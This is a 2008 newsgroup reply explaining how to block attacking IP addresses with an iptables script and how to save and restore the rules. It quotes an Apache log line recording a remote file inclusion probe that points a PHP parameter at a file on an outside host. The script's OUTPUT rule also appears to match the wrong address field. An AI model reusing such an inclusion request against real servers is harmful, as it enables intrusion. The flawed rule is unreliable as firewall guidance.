On a sunny day (Sat, 16 Feb 2008 10:58:48 -0800 (PST)) it happened Pseudonyme
<(E-Mail Removed)> wrote in
<b0e0b9c3-4a98-40b8-b205-(E-Mail Removed)>:
>I go through the iptables "Unix/Linux/Fedora 2/Apache 2.0.50" command
>line : "locate iptables" and editing files.
>
>Could not figure out where the IPs are listed and added to the
>definition list.
>
>Nothing in :
>/var/lock/subsys/iptables
>/etc/sysconfig/iptables-config
>/lib/iptables
>/etc/sysconfig/iptables
>/sbin/iptables
>
>Do you know the name of the file & location that includes the list of
>blocked IPs ?
>
>Many thanks and Regards for in advices.
>cougloff
I use iptables for this, but of course in my own way ;-)
I have a script, I run as root:
----------------------------------------------------
# this is called to add a input deny for an IP addres to ipchains,
# and save the configuration.
if [ "$1" = "" ]
then
echo "Usage: reject IP_address"
exit 1
fi
iptables -A INPUT -s $1 -p all -j DROP
iptables -A OUTPUT -s $1 -p all -j REJECT
iptables-save > /root/firewall
exit 0
--------------------------------------------------
Fo example if I see in apache log something like this:
83.137.193.66
www.stockguard.nl - - [15/Feb/2008:20:27:49 +0100] "GET /panteltje/fpga//cp2.php?securelib=http://www.hotellasamericas.com.co//cache/id.txt??? HTTP/1.1" 404 887
then, despite that the bad guy got a 404, I do:
reject 83.137.193.66
And he will never find my server again, or get any response from it, as the nameserver is also here.
You will see from the above script that you can make your own list with:
iptables-save > /path_to/yourtables
There is also an iptables-restore, to initialize at power up:
/sbin/iptables-restore < /path_to/yourtables
You can flush with
iptables -F
or list all entries (takes a long time as it does nslookup) with
iptables -L